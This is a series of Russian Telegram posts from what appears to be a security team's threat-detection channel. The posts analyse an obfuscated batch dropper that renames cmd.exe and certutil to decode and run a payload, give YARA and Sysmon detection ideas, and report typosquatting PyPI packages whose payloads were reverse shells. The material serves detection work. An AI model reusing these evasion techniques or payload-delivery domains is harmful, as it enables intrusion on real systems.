Об обфусцированном батнике замолвите слово...
Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали
📂 Открыть его удалось только с помощью WinRAR и UnRAR на Linux, дефолтный распаковщик Винды и 7-Zip теряются при виде архива, как показано на первом скриншоте (UX этого семпла на очень низком уровне).
Внутри архива находится batch-файл
Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).
Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.
Применим деобфускатор к файлу:
Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).
Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).
Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:
Как вам эта информация, мотивирует к переходу на Linux? 🧐
#Detect #Yara
@ptescalator
Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали
Serkan_Yalgi.Tar.Внутри архива находится batch-файл
Serkan_Yalgi.cmd, на втором скриншоте представлен фрагмент его содержимого. И такого безобразия там примерно 400 строк, остальные 115 000 строк занимает упомянутый в прошлом посте EXE в Base64.Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).
Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.
Применим деобфускатор к файлу:
python batch_interpreter.py –file Serkan_Yalgi.cmd
Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).
Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).
Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:
strings:
$subs = /:~\ *(-|\+)?\d{1,2},\ *(-|\+)?\d{1,3}%/
condition:
#subs > 100
Как вам эта информация, мотивирует к переходу на Linux? 🧐
#Detect #Yara
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍12❤9💯1
Слышали ли вы про публичный репозиторий Suricata-правил Attack Detection?
Да это яяяя Внутри большой команды PT Expert Security Center есть отдельная группа экспертов, главная задача которых — разрабатывать правила обнаружения для сетевых средств защиты. Вы уже наверняка знакомы с некоторыми постами про сетевые артефакты от этой команды.
Спустя два года перерыва мы возвращаемся к вам с обновленным порталом и снова начинаем публиковать части своей экспертизы в виде Suricata-правил 🔥
Из обновлений:
1. Правила для последних уязвимостей.
2. Правила для обнаружения крайне популярных в узких кругах инструментов Croc и gsocket.
3. А также несколько правил для выявления горизонтального перемещения в сети Active Directory.
Настройте suricata-update на поддержку официального источника правил ptrules/open и следите за обновлениями на нашей странице в X.
👋🏼 Stay tuned
#suricata #network #signature #rules
@ptescalator
Спустя два года перерыва мы возвращаемся к вам с обновленным порталом и снова начинаем публиковать части своей экспертизы в виде Suricata-правил 🔥
Из обновлений:
1. Правила для последних уязвимостей.
2. Правила для обнаружения крайне популярных в узких кругах инструментов Croc и gsocket.
3. А также несколько правил для выявления горизонтального перемещения в сети Active Directory.
Настройте suricata-update на поддержку официального источника правил ptrules/open и следите за обновлениями на нашей странице в X.
👋🏼 Stay tuned
#suricata #network #signature #rules
@ptescalator
🔥33👍15❤7
Снова ловим багхантеров 💀
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен
Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам🤨 Занятно. Нагрузка все та же — реверс-шеллы.
Домен🤬 . Что-ж...
———
PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.
#ti #pypi #pyanalysis
@ptescalator
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
innostage и innostage_group. История нетипичная: почта у разработчика — [email protected] (о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru (мимикрия под innostage-group.ru) и files.pythonhosted.ru (мимикрия под files.pythonhosted.org). Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
files.pythonhosted.org поменял на управляемый атакующим files.pypihosted.org.Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам
innostage и innostage_group прибавились cyberart, ... posi, maxpatrol и ptsecurity Домен
inostage.ru уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию ———
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁19🔥13❤7👍4💩3👀2
Какой уязвимый сервис вы любите у себя на периметре? 🥰
Anonymous Poll
16%
Звездный Exchange (Proxyshell/Proxylogon) 🙂
10%
Непрощающий SMB v1.0 (MS17-010, EternalBlue) 🙅♂️
2%
Добродушный NetScaler 😇
8%
Всезнающее семейство Atlassian 🤓
22%
Ламповый плагин к Bitrix 💡
4%
Краснокожий Apache 😡
4%
Гостеприимный RDP -> RDG 👋
5%
Многоликий vCenter 🗿
29%
Я не из этих... 😐
🍓6😁5❤2🐳2🙈2👍1
Ловите продолжение
Если вдруг подобный вредонос смог пройти все рубежи защиты, попасть на тачку пользователя и начать там работать, не все потеряно!
Вы же обратили внимание, что на первом этапе вредоносный BAT-файл копировал и переименовывал пару системных файлов (
cmd.exe и certutil.exe), которые затем использовал?Выявление такого поведения несложно автоматизировать
Хорошо настроенная служба Microsoft Sysmon позволяет не только журналировать запуск процессов и параметры командной строки, но и фиксировать такие интересные данные из свойств файла, как его оригинальное имя (смотрите скриншоты 1 и 2).
А значит, достаточно просто сравнить значения двух полей в событии, чтобы вовремя выявить использование подобной хакерской техники (она, кстати, называется «Маскировка: Переименование системных утилит»).
В составе пакетов экспертизы MaxPatrol SIEM у нас есть правило и на этот случай —
Copied_or_Renamed_Executable.А если у вас нет нашего продукта, можно взять за основу для своих детектов одно из SIGMA-правил proc_creation_win_renamed_binary_highly_relevant.
#Detect #Sigma #Rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🤩7✍6👍2😁1